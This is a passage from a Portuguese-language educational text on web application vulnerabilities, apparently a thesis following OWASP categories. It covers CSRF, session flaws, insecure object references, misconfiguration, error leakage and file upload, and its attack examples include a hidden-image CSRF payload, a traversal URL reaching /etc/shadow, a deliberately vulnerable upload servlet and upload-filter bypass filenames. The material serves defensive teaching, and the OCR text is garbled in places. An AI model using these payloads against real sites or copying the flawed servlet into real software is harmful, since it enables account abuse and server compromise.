variaveis de controle, conforme o Exemplo de Cddigo 5:

Exemplo de Cdédigo 5

http://example.com/app/transferFunds?
amount=1500&destinationAccount=4673243243

Assim, o atacante constréi um pedido que vai transferir dinheiro da conta da
vitima para a sua conta, e depois incorpora esse ataque em uma imagem ou iframe
armazenados em varios sites sob controle do atacante, conforme o Exemplo de
Caddigo 6.
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Exemplo de Cdédigo 6

<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#” width="0" height="0" />

Se a vitima visitar qualquer um desses sites enquanto esteja autenticado
para example.com, todas as solicitagdes forjadas irdo incluir informagdes de sessao
do usuario, que autorizarao o pedido.

3.3.3 Estratégia de prevengao

Use uma biblioteca ou framework que nao permita que essa vulnerabilidade
ocorra ou fornega implementagdes que fazem essa vulnerabilidade mais facil de
evitar. Por exemplo, use os pacotes anti-CSRF como o OWASP CSRFGuard. Outro
exemplo € o ESAPI Session Management control , que inclui um componente para
CSRF.

Certifique-se que sua aplicacao esteja livre de Cross-site scripting, pois a
maioria das defesas CSRF podem ser contornadas utilizando ataques controlados
por script. Gere um token exclusivo para cada formulario, coloque o token no
formulario e verifique-o apos o recebimento. Certifique-se que o uso unico do token

nao é previsivel, ou podera ser contornado usando XSS.

Identifique as operagbes especialmente perigosas. Quando o usuario
executa uma operagao perigosa, envie um pedido de confirmacédo independente
para garantir que o utilizador pretende realizar essa operagao. Nao utilize o método

GET para qualquer solicitacdo que desencadeia uma mudancga de estado.

Confira o cabegalho HTTP Referer e verifique se a solicitacdo originou-se da
pagina que era esperada. Neste caso, deve-se levar em conta que isso poderia
interromper uma requisi¢gdo legitima, pois 0s usuarios ou proxies podem ter
desativado o envio do Referer por razdes de privacidade. Além disso, isso pode ser
contornado usando XSS. Um invasor pode usar XSS para gerar um Referer
falsificado, ou para gerar uma solicitacdo de uma pagina maliciosa, cuja Referer
seria permitida.
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3.4 FALHA DE AUTENTICACAO E GERENCIAMENTO DE SESSAO
3.4.1 Caracteristicas

Esta vulnerabilidade explora as falhas de implementacdo dos mecanismos
de autenticacdo e gerenciamento de sessdo da aplicagdo. Esta falha tem sua
origem devido aos desenvolvedores frequentemente construirem seus mecanismos
de autenticacdo e gerenciamento de sessdo personalizados, mas a construgao
correta destes mecanismos ¢é dificil. Como resultado, estes esquemas
personalizados frequentemente tém falhas em funcionalidades como o /logout,
gerenciamento de senhas, timeouts, logon automatico, pergunta secreta,
atualizacao de conta, etc. Encontrar tais falhas as vezes pode ser dificil, ja que cada

implementacgao é unica.

Essas falhas podem permitir que algumas ou mesmo todas as contas sejam
atacadas. Uma vez que o ataque seja bem sucedido, o invasor tera todos os

privilégios de acesso da vitima. Contas privilegiadas sao alvos frequentes.

3.4.2 Exemplo de ataque

Exemplo 1: A aplicacdo de reservas de passagens aéreas permite a
reescrita de URL, colocando IDs de sessao na URL, conforme o Exemplo de Cédigo
7:

Exemplo de Cddigo 7

http://example.com/sale/saleitems; jsessionid=2P00C2JDPXUN2JV?dest=Hawaii

Um usuario do site que esta autenticado quer mostrar a reserva a seus
amigos. Ele envia e-mails com o link acima, sem saber que ele também esta dando
sua identificagado de sessao. Quando seus amigos usarem o link estarao usando sua

sessio e cartio de crédito.

Exemplo 2: O timeout da aplicagao nao foi definido corretamente. O usuario
usa um computador publico para acessar o site. Em vez de selecionar "logout" do
usuario, ele simplesmente fecha a aba do navegador e vai embora. O atacante usa

0 mesmo navegador uma hora mais tarde, e o navegador ainda esta autenticado.
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Exemplo 3: O invasor ganha acesso as senhas no banco de dados do
sistema. As senhas de usuarios ndo sao criptografadas, expondo todas as senhas

dos usuarios para o atacante.

3.4.3 Estratégia de prevengao

A estratégia primaria para evitar falhas de autenticagdo e gerenciamento de
sessdo € proteger credenciais e identificacbes de sessdo. As credenciais
armazenadas sempre devem ser protegidas usando hashing ou encriptagdo. Nunca
exponha credenciais e identificagdes de sessao na URL, pois podem ser facilmente
capturadas e alteradas. Sempre defina um tempo limite para expiracao da sessao.
Grandes esforcos devem ser feitos para evitar falhas XSS que podem ser usadas

para roubar IDs de sesséo.

Divida sua aplicagdo em areas como andnima, normal, privilegiada e
administrativa. Reduza a superficie de ataque mapeando cuidadosamente os papéis
de acordo com os dados e funcionalidades permitidas a cada area. Use o controle
de acesso baseado em funcao para reforcar as fungdes nos limites adequados.
Observe que essa abordagem pode nao proteger contra a autorizacao horizontal, ou

seja, ndo ira proteger o usuario de atacar os outros com o mesmo papel.

Certifique-se de executar verificagcdes de controle de acesso relacionadas
com a sua logica de negdcios. Estes controles podem ser diferentes dos controles
de acesso inicial, podendo aplicar mais recursos genericos, COmo arquivos,
conexdes, processos, memodria, registros e banco de dados. Por exemplo, um banco
de dados pode restringir 0 acesso a registros médicos para um tipo de usuario do
banco de dados, mas cada registro s6 pode ser acessivel ao paciente e ao médico

do paciente.

Use uma biblioteca ou framework que nao permita que essa vulnerabilidade
ocorra ou forneca construgcdes que tornem essa vulnerabilidade mais facil de evitar.
Por exemplo, considere o uso de frameworks de autorizagdo como o JAAS
Authorization Framework e o OWASP ESAPI Access Control.

Para aplicacbes web, certifique-se que o mecanismo de controle de acesso
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€ aplicado corretamente no lado do servidor em cada pagina. Os usuarios nao
devem ser capazes de acessar qualquer funcionalidade ou informacdes néo
autorizadas, solicitando o acesso direto a essa pagina. Uma maneira de fazer isso &
garantir que todas as paginas que contenham informagbes sensiveis ndo sejam
armazenadas em cache, e que todas as paginas restrinjam o acesso as requisigdes
acompanhadas por um token de sessao ativo e autenticado associado a um usuario

que tem as permissdes necessarias para acessar a pagina .

Use os recursos de controle de acesso de seu sistema operacional e
ambiente de servidor e defina o seu controle de acesso de acordo com listas de
permissoes rigorosas. Use a politica "negar por padrao" ao definir essa lista.

3.5 REFERENCIA INSEGURA DIRETA A OBJETO

3.5.1 Caracteristicas

Uma referéncia direta a um objeto acontece quando um desenvolvedor
expde uma referéncia de um objeto de implementagéo interna, como por exemplo,
um arquivo, diretorio, registro na base de dados ou chave, uma URL ou um
parametro de um formulario. Um atacante pode manipular diretamente referéncias a
objetos para acessar outros objetos sem autorizagdo, caso ndo exista um
mecanismo de controle de acesso. O atacante pode modificar o objeto exposto em
uma tentativa de abuso do controle de acesso a esse objeto. Quando o atacante faz
isso, ele pode ter a capacidade de acessar as funcionalidades e informagdes que o
desenvolvedor nao tinha a inteng&o de expor.

3.5.2 Exemplo de ataque

Exemplo 1: O aplicativo utiliza dados nao verificados em uma instrugdo SQL

que esta acessando as informagdes da conta, conforme o Exemplo de Cddigo 8:
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Exemplo de Cdédigo 8

String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement (query , ... );
pstmt.setString( 1, request.getparameter ("acct"));

ResultSet results = pstmt.executeQuery();

"http://example.com/app/accountInfo?acct=notmyacct"

O atacante simplesmente modifica o paradmetro 'acct' no seu navegador para
enviar qualquer numero da conta que deseje. Se nao for verificado, o invasor pode
acessar qualquer conta do usuario, em vez de apenas a conta do cliente destinado.

Exemplo 2: Suponha que uma aplicagdo web permita que um arquivo
armazenado no servidor seja exibido a um usuario. Se a requisicdo nao verificar
quais arquivos podem ser acessados, um atacante pode solicitar outros arquivos no
sistema de arquivos e eles também serdo exibidos. Por exemplo, se o atacante
visualiza a URL indicada no Exemplo de Cédigo 9:

Exemplo de Cddigo 9

http://misc-security.com/file.jsp?file=report.txt

O atacante pode modificar o parametro de arquivo usando um ataque de

passagem de diretdrio. Ele modifica a URL conforme o Exemplo de Cdédigo 10:

Exemplo de Cédigo 10

http://misc-security.com/file.jsp?file=../../../etc/shadow

Ao fazer este isto, o arquivo no diretoério “/etc/shadow” é devolvido e
processado para a pagina, demonstrando que a pagina é suscetivel a um ataque de

passagem de diretorio.

3.5.3 Estratégia de prevengao

A melhor protecdo € evitar a exposi¢cao direta de referéncias a objetos
usando um indice, mapa de referéncia indireta ou outro método indireto que seja
facil de validar. Caso uma referéncia direta a objeto possa ser usada, garanta que o

usuario esteja autorizado ante do uso. Cada uso de uma referéncia de objeto direto,
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mesmo de uma fonte confiavel, deve incluir uma verificacdo de controle de acesso

para garantir que o usuario esta autorizado para o objeto solicitado.

Estabeleca uma forma padrao para referenciar objetos da aplicagao,
evitando a exposicao de referéncias de objetos privados a usuarios, como chaves
primarias e nomes de arquivos, sempre que possivel. Valide cada referéncia privada
a objeto através da abordagem “aceite o reconhecido como bom”. Verifique a
autorizacado de todos os objetos referenciados. A melhor solugdo € usar um indice
de valor ou um mapa de referéncia para prevenir ataques de manipulagcdo de
parametro. Caso necessite expor diretamente referéncias as estruturas de banco de
dados, certifique-se que as declaragdes SQL e outros métodos de acesso a base de

dados permitam que somente sejam mostrados registros autorizados.

Use uma referéncia indireta a objeto por usuario ou sessao. Isso impede os
ataques que visam diretamente os recursos nao autorizados. Por exemplo, em vez
de usar a chave do banco de dados, nome de arquivo ou caminho de diretério para
algum recurso, use uma lista contendo os valores autorizados para o usuario atual.
A requisigdo tem que mapear a referéncia indireta por usuario de volta para a chave

real do banco de dados ou recurso no servidor.

Use uma biblioteca ou framework que nao permita que essa vulnerabilidade
ocorra ou fornega construgdes que tornem essa vulnerabilidade mais facil de evitar.
Por exemplo, considere o uso de frameworks como o OWASP ESAPI .

3.6 CONFIGURA(;AO INADEQUADA DO AMBIENTE DE EXECU(;AO
3.6.1 Caracteristicas

O Servidor Web e as configuragdes do servidor de aplicagcdo desempenham
um papel fundamental na seguranga de uma aplicagdo web. Estes servidores sao
responsaveis por fornecer conteudo e invocar aplicagdes que geram conteudo. Além
disso, muitos servidores de aplicagdes fornecem um numero de servigcos que podem
ser utilizados pelas aplicagbes web, como armazenamento de dados, servigos de
diretério, e-mail, mensagens e outros. A incapacidade de gerir a configuragcao

adequada dos servidores pode levar a um grande numero de problemas de
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seguranca.

Ha uma grande variedade de problemas de configuragdo do servidor que

podem prejudicar a seguranca de uma aplicagdo web, como por exemplo:

Falhas de seguranca no software do servidor n&o corrigidas;

- Deficiéncia do servidor ou erros de configuragdo de software que permitem a

listagem dos diretorios;

- Arquivos desnecessarios armazenados, como backups ou arquivos de
exemplo, incluindo scripts, aplicativos, arquivos de configuragdo e paginas

web;
- Permissdes inadequadas em arquivos e diretérios;

- Servigos desnecessarios habilitados, como gerenciamento de conteudo e

administragao remota;
- Contas padrdo com suas senhas padrao;
- Funcdes administrativas ou de depuracao habilitadas ou acessiveis;
- Mensagens de erro com informacgdes indevidas;
- Configuracao errada de certificados SSL e encriptagao;
- Utilizagao de certificados auto assinados para proteger a autenticagao;
« O uso de certificados padrao;
- Autenticacdo indevida com sistemas externos;

Alguns desses problemas podem ser facilmente detectados com
ferramentas automaticas de verificagdo de seguranga. Uma vez detectados, estes
problemas podem ser facilmente explorados e resultar em comprometimento total
de uma aplicacdo web. Atagques bem-sucedidos podem resultar no
comprometimento de sistemas do servidor, incluindo bases de dados e redes

corporativas.
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3.6.2 Exemplo de ataque

Exemplo 1: O aplicativo utiliza um framework, como Struts ou Spring. Falhas
XSS sdo encontrados nesses componentes do framework que vocé confia. Uma
atualizacdo é langada para corrigir essas falhas, mas vocé nao atualiza suas
bibliotecas. Até 1a, os atacantes podem facilmente encontrar e explorar estas falhas

em sua aplicagao.

Exemplo 2: O console de administracdo do servidor €& instalado
automaticamente e nao é retirado. Contas padrao criadas automaticamente nao sao
alteradas. O atacante descobre as paginas padrdao de administracdo do seu

servidor, loga com as senhas padrao, e assume o controle.

Exemplo 3: A listagem de diretorio n&o esta desativada em seu servidor. O
atacante descobre que ele pode simplesmente listar os diretorios para encontrar
qualquer arquivo. O atacante acha e copia todas as suas classes Java compiladas,
que ele reverte para obter todo o seu cédigo personalizado. Ele, entdo, encontra
uma falha grave de controle de acesso no seu aplicativo e a utiliza para obter o

controle da aplicacao ou do servidor.

Exemplo 4: A configuragcado da apliccdo do servidor permite que a pilha de
erros seja visualizada pelos usuarios, expondo as falhas subjacentes. O atacante
utiliza as informagdes adicionais das mensagens de erro para realizar um ataque

bem sucessido.

3.6.3 Estratégia de prevencao

Frequentemente, o grupo de desenvolvimento web & separado do grupo
responsavel pelo ambiente de operagdes e hospedagem dos sites. Na verdade,
muitas vezes ha uma grande diferenga entre aqueles que escrevem a aplicagéo e os
responsaveis pelo ambiente de operagdes. Questbes de segurancga de aplicativos
Web geralmente se estendem por esta lacuna e exigem que os membros de ambos
os lados do projeto trabalhem em conjunto para garantir adequadamente a

segurancga da aplicagao.

O primeiro passo € criar um guia de proteg¢ao e configuragado padrao para o
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seu servidor de aplicagdo. Essa configuragdo deve ser usada em todos os hosts
executando a aplicacdo e no ambiente de desenvolvimento. E recomendavel
comegar com as orientagdes ja existentes que podem ser adquiridas junto ao seu
fornecedor, ou aquelas disponiveis dos diferentes organismos de seguranca
existentes, tais como OWASP, CERT Institute e SANS Institute, e depois adapta-los
para suas necessidades particulares. O guia de prote¢cdo deve incluir os seguintes

tépicos:

Configuragao de todos os mecanismos de seguranga;
- Desativacao de todos os servigcos nao utilizados;

- Criacao de papéis, permissdes e contas, incluindo a desabilitacido de todas

as contas padrao ou alteracédo de suas senhas;
- Logging e alertas.

Uma vez que sua diretriz foi estabelecida, use-a para configurar e manter
seus servidores. Se vocé tem um grande numero de servidores para configurar,
considere a possibilidade de utilizar um processo de configuragdo semi ou
totalmente automatizado, evitando erros por falha humana na repeticdo do
processo. Use uma ferramenta de configuracao existente ou desenvolva a sua
propria. Vocé também pode usar ferramentas de replicagao de disco para fazer uma
imagem de um servidor configurado adequadamente, e entao replicar essa imagem

para 0s novos servidores.

Manter a configuragcdo de seguranca do servidor requer vigilancia. Vocé
deve ter certeza de que a responsabilidade de manter a configuragcao de seguranga
do servidor é atribuida a uma pessoa ou equipe. O processo de manutencao deve

incluir:

Acompanhamento das ultimas vulnerabilidades de segurancga publicadas;

Aplicagao das ultimas corregdes de seguranga disponiveis;

Atualizagao do guia de configuracédo de seguranga;

Verificagdo regular de vulnerabilidades de ambas as perspectivas internas e



39

externas;

- Avaliagdes periodicas da configuragao interna de seguranca do servidor em
relagéo ao seu guia de configuragao;

- Relatorios de status para a geréncia superior documentando a postura geral
de seguranca adotada.

Nao execute servidores ou protocolos desnecessarios. Se vocé nio precisa
do recurso de FTP (File Transfer Protocol) do servidor, entdo desative este servigo,
ou nao instale-o. Do mesmo modo, desative linguagens de script e/ou scripts de

exemplo que vocé nao utiliza.

Pratique bons habitos na criacdo de senhas. Evite senhas simples e faceis
de adivinhar, especialmente para contas com privilégio de administrador. Sempre
troque as senhas padrdo e elimine contas desnecessarias (como contas padrio).
Verifique se as senhas sao realmente habilitadas para zonas sensiveis e as fungdes
de administragao.

Saiba o que esta acontecendo na sua rede. Muitos servidores Web sao
gratuitos e faceis de instalar, por isso esteja atento para os usuarios bem
intencionados, mas mal informados, que podem, inadvertidamente, criar brechas de

seguranca.

Use o mecanismo de permissao do seu sistema operacional. Normalmente,
o servidor Web é executado com a permissdo de um usuario em particular.
Certifique-se que o usuario tem acesso devidamente limitado. Monitore seus /ogs,
pois o servidor Web geralmente mantém registro de cada requisi¢ao. Verifique seus

logs regularmente para detectar sinais de comportamento fora do comum.

Separe dados publicos e privados. Nao armazene dados sensiveis sobre as
mesmas maquinas que servidores publicos da web. Para uma extranet, vocé pode
considerar um sacrificio de configuragdo, onde um servidor Web fica fora do firewall
de modo que ndo prejudique os dados corporativos por tras do firewall. Tenha
cuidado com a configuragdo dos diretérios do servidor. Limite os arquivos
executaveis para diretorios especificos e certifique-se de que seus codigos-fonte
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nao podem ser baixados. Desative recursos como indexacao automatica de diretério
se vocé nao precisar deles. Execute todas as ferramentas de seguranca do seu

sistema operacional disponiveis para identificar potenciais pontos fracos.

3.7 VAZAMENTO DE INFORMAGOES E TRATAMENTO INAPROPRIADO DE
ERROS

3.7.1 Caracteristicas

Esta vulnerabilidade ocorre quando as aplicagdes mostram, sem intengao,
informagdes sobre suas configuragdes, funcionamento interno, ou armazenamento
de recursos através de mensagens de erro inapropriadas. As aplicagdes podem
exibir o funcionamento interno via tempo de resposta para executar determinados
processos ou respostas diferentes para entradas diversas, como exibir a mesma
mensagem de erro mas com coédigo de erros diferentes. Aplicagdes Web
frequentemente vazam informagdes sobre seu funcionamento interno através de
mensagens de erros detalhadas ou debug. Frequentemente, essa informacéo pode

ser o caminho para langar ataques ou ferramentas automaticas mais poderosas.

Aplicagdes frequentemente geram mensagens de erros € as mostram para
os usuarios. Muitas vezes essas informagdes sao uteis para os atacantes, visto que
elas revelam detalhes de implementagées ou informagdes uteis para explorar uma
vulnerabilidade. Existem diversos exemplos comuns disso, como por exemplo uma
manipulagcdo de erro detalhada, onde se induzirmos alguns erros serao mostradas
muitas informagdes, como o rastreamento da pilha, validagdes, falhas de SQL, ou
outras informagdes de debug. Outro exemplo sao fungdes que produzem diferentes
saidas baseando-se em diferentes entradas. Por exemplo, substituindo o mesmo
nome de usuario com senhas diferentes deveria produzir o mesmo texto como
usuario inexistente, ou senha invalida. Entretanto, muitos sistemas geram diferentes

cédigos de erros.

3.7.2 Exemplo de ataque

No exemplo de Cdédigo 11, informagdes sensiveis podem ser impressas,
dependendo da excegao que ocorre.
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Exemplo de Cdédigo 11

try {
/o)

} catch (Exception e) {
System.out.println(e);
}

Se uma excegao relacionada com SQL é tratada pela captura, a saida pode
conter informagdes sensiveis, tais como estrutura SQL da consulta ou informagéo
privada. Se essa saida é redirecionada para um usuario da web, isso pode

representar um problema de segurancga.

3.7.3 Estratégia de prevengao

Garanta que as mensagens de erro contenham apenas os detalhes que séo
uteis para o publico-alvo, e nada mais. As mensagens precisam encontrar o
equilibrio entre serem muito detalhadas e n&o serem suficientemente
esclarecedoras. Elas ndo devem, necessariamente, revelar os métodos que foram
usados para determinar o erro. Informagdes detalhadas podem ser usadas para
refinar o ataque original e aumentar as chances de sucesso. Se os erros devem ser
controlados em alguns detalhes, capture-os em mensagens de /og, mas considere 0
que poderia ocorrer se as mensagens de /log puderem ser vistas pelos atacantes.
Evite gravar informagdes altamente confidenciais, como senhas de qualquer forma.
Evite mensagens inconsistentes que poderiam acidentalmente exibir para um
atacante o estado interno da aplicacdo, como por exemplo se um nome de usuario é
valido ou ndo. Estabeleca um padrao de manipulagcdo de excegao para prevenir que
informacdes desnecessarias vazem para os atacantes, e tenha certeza que toda a
equipe de desenvolvimento de software compartiha o mesmo método para
manipular erros. Trate excegdes internamente e ndo mostre os erros que contém
informagdes potencialmente confidenciais para um usuario. Use convengdes de
nomenclatura e de tipos forte nos dados sensiveis da aplicagao para torna-los mais
faceis de manipular e detectar quando usados. Na criacdo de estruturas, objetos ou
outras entidades complexas, separe os dados sensiveis e nao sensiveis, tanto
quanto possivel. Isto torna mais facil identificar lugares no codigo onde dados
criptografados estdo sendo usados. As informagdes de depuragao ndao devem ser
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exibidas em uma versao de producao da aplicacao.

Quando disponivel, configure o ambiente para ndo usar mensagens de erro
detalhadas. Por exemplo, em PHP, desabilite a diretiva display_errors durante a
configuragédo, ou em tempo de execugao usando a fungao error_reporting (). Crie
paginas de erro padrdo ou mensagens que nao vazem nenhuma informacgao
insegura. Varias camadas podem retornar resultados excepcionais ou fatais, como
camadas de banco de dados, servidores web (IIS, Apache, etc). E vital que erros de
todas as camadas sejam adequadamente checados e configurados para prevenir

gue mensagens de erros sejam exploradas por atacantes.

Tenha consciéncia que frameworks comuns retornam diferentes cédigos
HTTP dependendo se é um erro customizado ou erro do framework . E muito valioso
criar um manipulador de erros padrdo que retorne uma mensagem de erro ja

checada para maioria dos usuarios em produg¢ao para os erros de caminho(path).

3.8 UPLOAD DE ARQUIVOS DE TIPOS PERIGOSOS
3.8.1 Caracteristicas

Essa vulnerabilidade existe quando a aplicagdo web permite que seja feito
upload de arquivos de tipos perigosos que podem ser utilizados no ambiente do
servidor da aplicagdo. Arquivos enviados representam um risco significativo para as

aplicacoes.

A execugao de codigo malicioso € possivel se um upload é interpretado e
executado como o codigo valido da requisicao. Isto é especialmente verdadeiro para
extensodes '.asp' e .php' em servidores web, pois estes tipos de arquivos s&do muitas
vezes tratadas como automaticamente executavel, mesmo quando as permissdes
do sistema de arquivos nao especificam a execugao. Por exemplo, em ambientes
Unix, os programas normalmente n&do podem ser executados a menos que o bit de
execucao esteja definido, mas os programas PHP podem ser executados pelo
servidor Web sem invoca-los diretamente no sistema operacional.

As consequéncias do upload de arquivos sem restricbes podem variar, desde

o controle total do sistema, sistema de arquivos sobrecarregado, ataques de
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redirecionamento para outros sistemas, a simples desfiguragao do site, dependendo
do que o aplicativo faz com o arquivo carregado, incluindo onde ele é armazenado.
Alguns exemplos das consequéncias do upload de arquivos perigosos sao listados

abaixo:
- O site pode ser apagado.

- O servidor web pode ser comprometido por carregar e executar um comando
shell, que pode: executar um comando, procurar os arquivos do sistema,
procurar 0s recursos locais, atacar outros servidores, explorar as

vulnerabilidades locais, e assim por diante.

- Esta vulnerabilidade pode tornar a aplicacido mais vulneravel a outros tipos de

ataques, como XSS.
- Um invasor pode ser capaz de colocar uma pagina alterada na aplicagao.

«  Vulnerabilidades locais de ferramentas de monitoramento em tempo real,

como um antivirus, podem ser exploradas pelo upload de um arquivo nocivo.

« Um arquivo malicioso pode ser carregado no servidor, a fim de ter uma

chance de ser executada pelo administrador mais tarde.

- O servidor web pode ser usado como um servidor de compartilhamento por
um atacante, servindo como repositério de malwares, softwares ilegais, e

assim por diante.

3.8.2 Exemplo de ataque

O Exemplo de Cdédigo 12 tem a intengdo de permitir que um usuario envie
uma foto para o servidor web. O codigo em HTML que envia o formulario do usuario

final tem um campo de entrada do do tipo “file”.
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Exemplo de Cdédigo 12

<form action="FileUploadServlet" method="post" enctype="multipart/form-
data'>

Choose a file to upload:

<input type="file" name="filename"/>

<br/>

<input type="submit" name="submit" value="Submit"/>
</form>

Quando executar o método doPost, o servilet Java ird receber o pedido,
extrair o nome do arquivo a partir do cabecalho de solicitagcdo HTTP, ler o conteudo
do arquivo a partir da requisicéo e gravar o arquivo para o diretério local, conforme o

Exemplo de Codigo 13.

Exemplo de Cédigo 13

public class FileUploadServlet extends HttpServlet {

protected void doPost (HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException

response.setContentType ("text/html") ;
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf ("boundary=");
String boundary = contentType.substring (ind+9) ;

String plLine = new String();
//Constant value
String uploadLocation = new String(UPLOAD DIRECTORY STRING) ;

// verify that content type is multipart form data
if (contentType != null &&
contentType.indexOf ("multipart/form-data") != -1) {

// extract the filename from the Http header
BufferedReader br = new BufferedReader (new

InputStreamReader (request.getInputStream())) ;

pline = br.readLine();
String filename =
pline.substring (pLine.lastIndexOf ("\\"),
plLine.lastIndexOf ("\""));
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// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter (new

FileWriter (uploadLocation+filename, true)); for
(String line; (line=br.readLine()) !=null; ) {
if (line.indexOf (boundary) == -1) {

bw.write (line);
bw.newLine () ;
bw.flush ()
}
} //end of for loop
bw.close () ;

} catch (IOException ex) {...}
// output successful upload response HTML page

}

// output unsuccessful upload response HTML page
else

(...}

Este codigo ndo executa uma verificagao do tipo de arquivo a ser carregado.
Isso poderia permitir que um invasor envie qualquer arquivo executavel ou outro
arquivo com codigo malicioso. Além disso, a criacdo do objeto BufferedWriter esta
sujeita a modificagdo do caminho relativo do diretério. Dependendo do ambiente de
execucao, o atacante pode ser capaz de especificar arquivos arbitrarios para gravar,
levando a uma grande variedade de consequéncias, desde a execug¢ao de codigo, o

XSS ou queda do sistema.

3.8.3 Estratégia de prevengao

Algumas aplicagdes web utilizam apenas uma lista negra de extensdes para
impedir o upload de um arquivo malicioso. Neste caso, alguns pontos devem ser

observados:

. E possivel ignorar essa protecdo usando algumas extensdes que sdo
executaveis no servidor, mas ndo sao mencionadas na lista. Por exemplo:

"file.php5", "file.shtml", "file.asa",OU "file.cer".

- As vezes é possivel ignorar essa protecao, alterando a caixa de algumas

letras da extens&o, por exemplo: "File.asp" OU "file.PHp3".
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E possivel ignorar essa protecdo usando espacos a direita e/ou pontos no
final do nome do arquivo. Estes espacos e/ou pontos no final do nome do
arquivo sera removido quando o arquivo for salvo no disco rigido
automaticamente. O nome do arquivo pode ser enviado para o servidor
usando um proxy local ou usando um script simples, como por exemplo: ..

File.asp ... ... .. ..","File.asp",0U "File.asp . ".

Um servidor web pode usar a primeira extensao apdos o primeiro ponto (".") no
nome do arquivo ou utilizar um algoritmo de prioridades especificas para
detectar a extensado do arquivo. Portanto, a protecdao pode ser contornada
fazendo o upload de um arquivo com duas extensbes depois do primeiro

ponto. A primeira extensao é proibida, e a segunda é permitida. Por exemplo:

"file.php.jpg".

No caso de utilizar Internet Information Server 6 (ou versdes anteriores), pode
ser possivel ignorar essa protecéo, acrescentando um ponto e virgula apos a

extensdo proibida e antes da extensao permitida, por exemplo: "File.asp;

jpg.".

No caso de utilizar Internet Information Server 6 (ou versdes anteriores), pode
ser possivel ignorar essa prote¢do, colocando um arquivo de execugao, como
ASP, com outra extensdo em uma pasta que termina com uma extensao de
€Xecugcao como “.asp”, cOmo por exemplo "folder.asp\file.txt". Além
disso, € possivel criar um diretério usando apenas o upload de um arquivo e
ADS (Alternate Data Stream). Neste método, o nome deve terminar com "::
$ Index Allocation” OU ": I30 $: $ Index Allocation" para criar um
diretério em vez de um arquivo. Por exemplo: "newfolder.asp: $

Index Allocation" Cfid "newfolder.asp" COMO um novo diretorio.

Essa protecado pode ser completamente ignorada, usando o famoso caractere
de controle Null(0x00) apés a extensao proibida e antes da permitida. Neste
método, durante o processo de salvar as letras da extensao, todas as letras
apos o caractere Null serao descartadas. Colocar um caracter nulo no nome
do arquivo pode ser feito simplesmente usando um proxy local ou usando um

script (por exemplo: "File.asp% 00.jpg").
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.« Também é possivel criar um arquivo com uma extensao proibida usando
fluxo NTFS de dados alternativos (ADS). Neste caso, o sinal ":" sera inserido
apo6s a extensao proibida e antes da permitida. Como resultado, um arquivo
vazio com a extensdo proibida sera criado no servidor, como por exemplo:
"File.asp:. jpg". O atacante pode tentar editar esse arquivo depois de
executar seus codigos maliciosos. No entanto, um arquivo vazio nem sempre
€ bom para um atacante. Entdo, existe um método no qual um invasor pode
carregar um arquivo shell ndao vazio, usando o ADS. Neste método, um

arquivo proibido pode ser carregado usando o padrao: "File.asp: $ data.".

- Em servidores Windows, é possivel substituir os arquivos usando o nome
curto. Por exemplo: "web.config" pode ser substituido pelo upload "web ~

1.con")
- A combinagao das opgdes acima pode levar a ignorar as protecoes.

Muitas aplicagdes web usam o conceito de lista branca para aceitar as
extensbes dos arquivos. Embora o uso da lista branca seja uma das
recomendacgdes, nao € suficiente por si sb, pois a prépria lista pode conter
extensdes perigosas. Sem ter a validagdo de entrada, ainda ha uma chance de o
atacante contornar as protegoes.

Utilize o parametro “Content-Type” do cabegalho da requisigdo que indica o
tipo de midia na Internet do contetido da mensagem. As vezes, as aplicagdes web
utilizam este parametro para reconhecer um arquivo como valido. Por exemplo, eles
s6 aceitam os arquivos com o "Content-Type" tipo "text/plain". No entanto, atente
para o fato de que €& possivel ignorar essa protegdo mudando esse parametro no
cabecalho da solicitagdo usando um proxy local.

As vezes, as aplicagbes web, intencionalmente ou n&o, usam algumas
fungdes (ou APIs) para verificar o tipo do arquivo. Por exemplo, no caso de ter o
redimensionamento da imagem, & provavel ter um verificador de tipo de imagem.
Alguns verificadores fazem a leitura apenas dos primeiros caracteres(ou cabegalho)
dos arquivos, a fim de valida-los. Neste caso, um atacante pode inserir o cédigo

malicioso depois de algum cabecalho valido. Ha sempre alguns lugares na estrutura
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dos arquivos que estao na secgado de comentarios e nao tém efeito sobre o arquivo
principal, e um atacante pode inserir codigos maliciosos nestes pontos. Além disso,
ndo € impossivel pensar em um modificador de arquivo (por exemplo um
redimensionador de imagens), que produz codigos maliciosos se em caso de

receber uma entrada especial.

Nunca aceite um nome de arquivo e sua extensao diretamente, sem passar
por uma lista de filtro. E necessario ter uma lista somente com as extensdes
permitidas para a aplicacdo web. Todos os caracteres de controle e Unicode devem
ser retirados dos nomes de arquivos e suas extensdes, sem qualquer excecgao.
Além disso, os caracteres especiais como ";", ":", ">" "<" "/" "\" adicionados a “.”,
“r "%, “$”, devem ser descartados também. Se for aplicavel e ndo houver
necessidade de ter caracteres Unicode, é altamente recomendavel aceitar apenas
caracteres alfanuméricos e apenas um ponto como uma entrada para o nome do
arquivo e a extensdo, nas quais o nome do arquivo e também a extensao nao
devem estar vazios em tudo (expressao regular:.. [a-zA-Z0-9] {1200} \ [a-zA-Z0-9]

{1,10}).

Limite o comprimento do nome do arquivo. Por exemplo, o comprimento
maximo do nome de um arquivo mais a extensao deve ser inferior a 255 caracteres
(sem considerar o diretério) em uma particdo NTFS. E recomendado o uso de um
algoritmo para determinar os nomes dos arquivos. Por exemplo, um arquivo pode
ser um hash MD5 do nome do arquivo com data. Impessa a substituicdo de um
arquivo, no caso de ter o mesmo hash para ambos. O diretério de armazenamento
dos arquivos nao deve possuir nenhuma permissao de execugao automatica. Limite

o tamanho maximo e minimo do arquivo para evitar ataques de negagao de servigo.

Use um verificador de virus no servidor (se for aplicavel). Ou, se o conteudo
dos arquivos nao sao confidenciais, um site de verificacdo de virus gratuito pode ser
usado. Neste caso, o arquivo deve ser armazenado com um nome de forma
aleatdria e sem qualquer extensdo no servidor, e apos a verificagcdo de virus (ou
upload para um site gratuito de verificagdo de virus recebendo de volta o resultado),
pode ser renomeado para o0 seu nome especifico e extensao. Procure sempre
utilizar o método POST em vez de GET.
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Utilize o mecanismo de log da aplicagao para registrar as atividades dos
usuarios. No entanto, o mecanismo de log deve ser protegido contra a falsificacéo
de log e de injegcao de codigo. No caso de ter que manipular arquivos compactados,
o conteudo do arquivo compactado deve ser verificado um a um, como um novo
